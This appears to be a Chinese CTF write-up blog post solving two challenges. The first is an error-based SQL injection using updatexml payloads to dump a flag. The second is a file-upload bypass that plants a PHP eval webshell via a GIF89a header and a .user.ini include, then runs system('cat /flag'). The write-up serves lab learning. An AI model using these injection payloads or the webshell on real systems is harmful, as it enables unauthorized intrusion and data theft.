[极客大挑战 2019]HardSQL

题目环境:

image-20220627142124035

解题思路:

万能密码:

1' or 1=1#

image-20220627142554763

过滤了and、=、空格、union、双写 等

尝试报错注入:

报错注入使用场景

  • 适合无直接回显的sql注入,存在报错页面的回显

    有两个报错注入函数:

    1. extractvalue()
    2. updatexml()
    一、extractvalue函数

    1.函数含义: 使用 XPath 表示法从 XML 字符串中提取值,即返回的是一个字符串。

    2.用法

    • ExtractValue(xml_frag, xpath_expr)
      两个字符串参数:
      (1). xml_frag: XML 标记片段,xml语言的标签闭合内的值,
      (2). xpath_expr: XPath 表达式,匹配xml标签内的值并返回。
      例如,
    ExtractValue('<a>ccc<b>ddd</b></a>', '/a') AS val1;

    val1的值为ccc,而不为ddd,因为a标签中闭合的是ccc,
    若是想匹配值为ddd,则如下:

    ExtractValue('<a>ccc<b>ddd</b></a>', '//b') AS val2;

    此时val2的值为ddd。

    3.报错注入使用场景

    • 适合无直接回显的sql注入,存在报错页面的回显

    4.报错的原因

    ExtractValue函数中的两个参数,得是xpath语法才会正常回显,如果不是xpath语法,则会报错并回显。

    extractvalue报错会返回其中的sql语句结果。

    5.配合函数
    原因:报错注入会限制数据库内容不超过32字节,所以灵活使用一些函数来截取数据内容,最后再进行拼接。

    • mid函数: 返回从指定位置开始的子字符串
    • substr函数:返回指定的子字符串
    • concat函数: 返回连接的字符串

    6.常用peayload:
    例子:CVE-2020-5504 phpmyadmin的后台sql注入(狗头保命,都sql的管理后台了,还在这注入呢)

    • 数据库
    1'and extractvalue(1,concat(0x7e,(select database()),0x7e))--

    我们选择:

使用updatexml报错注入

updatexml函数与extractvalue函数用法一样

updatexml(a,b,c),此函数a,c必须为String类型,因此可以使a,c不为String型进行报错

Payload1(查看版本):

username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21

XPATH syntax error: '~10.3.18-MariaDB~'

Payload2(爆库):

username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1

XPATH syntax error: '~geek~'

Payload3(爆表):

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

XPATH syntax error: '~H4rDsq1~'

Payload4(爆字段名):

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
&password=21

XPATH syntax error: '~id,username,password~'

Payload5(爆字段值):

username=1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'--',password))from(H4rDsq1)),0x7e),1))%23&password=1

XPATH syntax error: '~flag--flag{a007ebd8-50c7-495f-b'

flag并没有完全显示

right()查询后半段

RIGHT(str,len)

​ 返回最右侧的n个字符的字符串str,或NULL如果任何参数是NULL

SQL> SELECT RIGHT('foobarbar', 4);
+---------------------------------------------------------+
| RIGHT('foobarbar', 4)                                   |
+---------------------------------------------------------+
| rbar                                                    |
+---------------------------------------------------------+
1 row in set (0.00 sec)

Payload6(查右半段flag):

username=1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,30))))from(H4rDsq1)),0x7e),1))%23&password=1

XPATH syntax error: '~8-50c7-495f-b702-058e970280f2}~'

flag拼接得:

flag{a007ebd8-50c7-495f-b702-058e970280f2}

总结:

  1. 在无回显的情况下,选择报错注入—-updatexml()

  2. 原因:格式简单😂

  3. 在GET传参时注意 ' –>%27 、 # –> %23

  4. sql中的right()函数,可从右显示字段值


[SUCTF 2019]CheckIn

题目环境:

image-20220627191110906

是一个文件上传的界面,很明显这是关于文件上传漏洞方面的题目。

解题思路:

尝试一句话木马:

image-20220627194516522

提示:非法的后缀

尝试绕过<?的图片马:

<? in contents!

提示包含了<? , 表示过滤了含有“<?”的文件

尝试绕过<?

<script language="php">eval($_GET['cmd']);</script>

回显:exif_imagetype:not image!

exif_imagetype

  1. (PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

  2. exif_imagetype — 判断一个图像的类型

    说明:

  3. exif_imagetype ( string $filename ) : int

  4. exif_imagetype() 读取一个图像的第一个字节并检查其签名。

  5. 说明题目后端会截取上传的文件的头部一部分进行判断是否为图像文件

GIF89a图片头文件欺骗,

GIF89a?
<script language="php">eval($_GET['shell']);</script>

回显:

Your dir uploads/c47b21fcf8f0bc8b3920541abd8024fd
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(11) "GIF89a .png" [3]=> string(9) "index.php" } 

图片马是上去啦,但是服务器并不会执行里面的代码

因此这里涉及另一个知识点:

文件包含漏洞

user.ini

Php配置项中有两个比较有意思的项(下图第一、四个):

img

  1. auto_prepend_file,指定一个文件,自动包含在要执行的文件**,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

  2. ```ini
    GIF89a //绕过exif_imagetype()
    auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
    auto_append_file=a.jpg //解析后进行包含

    
    `GIF89a.png`是要包含的文件。
    
    3. > 因此,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
    
    > 优势:跟`.htaccess`后门比,适用范围更广,nginx/apache/IIS都有效,而`.htaccess`只适用于apache
    
    #### 使用场景:
    
    **某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。**
    
    ### Payload1:上传user.ini
    
    ```ini
    GIF89a
    auto_prepend_file=GIF89a.png

前面加GIF89a,来绕过检测

回显:

Your dir uploads/c47b21fcf8f0bc8b3920541abd8024fd 
Your files : 
array(4) {  [0]=>  string(1) "."  [1]=>  string(2) ".."  [2]=>  string(9) ".user.ini"  [3]=>  string(9) "index.php" }

Payload2:上传GIF89a.png

GIF89a
<script language="php">eval($_POST['shell']);</script> 

回显:

Your dir uploads/c47b21fcf8f0bc8b3920541abd8024fd
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(11) "GIF89a .png" [3]=> string(9) "index.php" } 

此时index.php就派上了用场(辅助执行木马)

Finally Payload:

http://643e64f0-56f2-4c6a-a8fc-600932030edc.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php

image-20220627210907712

根目录得到flag

法二:

?shell=var_dump(scandir("/")); shell=var_dump(file_get_contents("/flag")); 
?shell=system('cat /flag');

总结:

  1. 一句话木马绕过<?

  2. 绕过exif_imagetype()方法的检测

  3. .user.ini文件会更新消失

[MRCTF2020]Ez_bypass